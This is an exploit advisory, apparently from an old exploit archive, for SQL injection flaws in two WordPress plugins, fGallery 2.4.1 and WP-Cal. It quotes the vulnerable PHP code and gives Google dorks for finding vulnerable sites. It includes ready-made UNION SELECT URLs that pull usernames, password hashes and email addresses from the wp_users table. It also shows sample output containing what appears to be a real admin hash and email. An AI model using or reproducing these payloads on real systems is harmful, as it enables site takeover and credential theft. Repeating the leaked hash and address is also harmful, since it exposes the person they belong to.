# Author : Houssamix From H-T Team
# Script :
Wordpress Plugin fGallery 2.4.1
# Download : http://www.fahlstad.se/wp-plugins/fgallery/
# BUG : Remote SQL Injection Vulnerability
# Dork : inurl:/wp-content/plugins/fgallery/
## Vulnerable CODE :
~~~~~~~ /wp-content/plugins/fgallery/fim_rss.php ~~~~~~~~~~~~~
PHP код:
$cat = $wpdb->get_row("SELECT * FROM $cats WHERE id = $_GET[album]");
$images = $wpdb->get_results("SELECT * FROM $imgs WHERE cat = $_GET[album] AND status = 'include'");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~
# Exploit :
[Target.il]/[wordpress_path]//wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--
Example
http://site.il/wordpress/wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--
src='http://site.il/wordpress/wp-content/fgallery/thumb_admin:051e3db4c8eee42d7c93df48dffe4d5f:marku s@swimatyourownrisk.com' /><br>5 markus@swimatyourownrisk.com Thu, 01 Jan 1970 00:00:00 +0100
# Script :
Wordpress Plugin WP-Cal
# Download : http://www.fahlstad.se/wp-plugins/wp-cal/
# BUG : Remote SQL Injection Vulnerability
# Dorks : inurl:/wp-content/plugins/wp-cal/
inurl:/WP-Cal/
## Vulnerable CODE :
~~~~~~~ /wp-content/plugins/wp-cal/functions/editevent.php ~~~~~~~~~~~~~
PHP код:
$id = $_GET['id'];
$event = $wpdb->get_row("SELECT * FROM $table WHERE id = $id");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~
# Exploit :
/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6%20from%20wp_users--
example :
http://site.il/wordpress/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user _pass,0x3a,user_email),3,4,5,6%20from%20wp_users--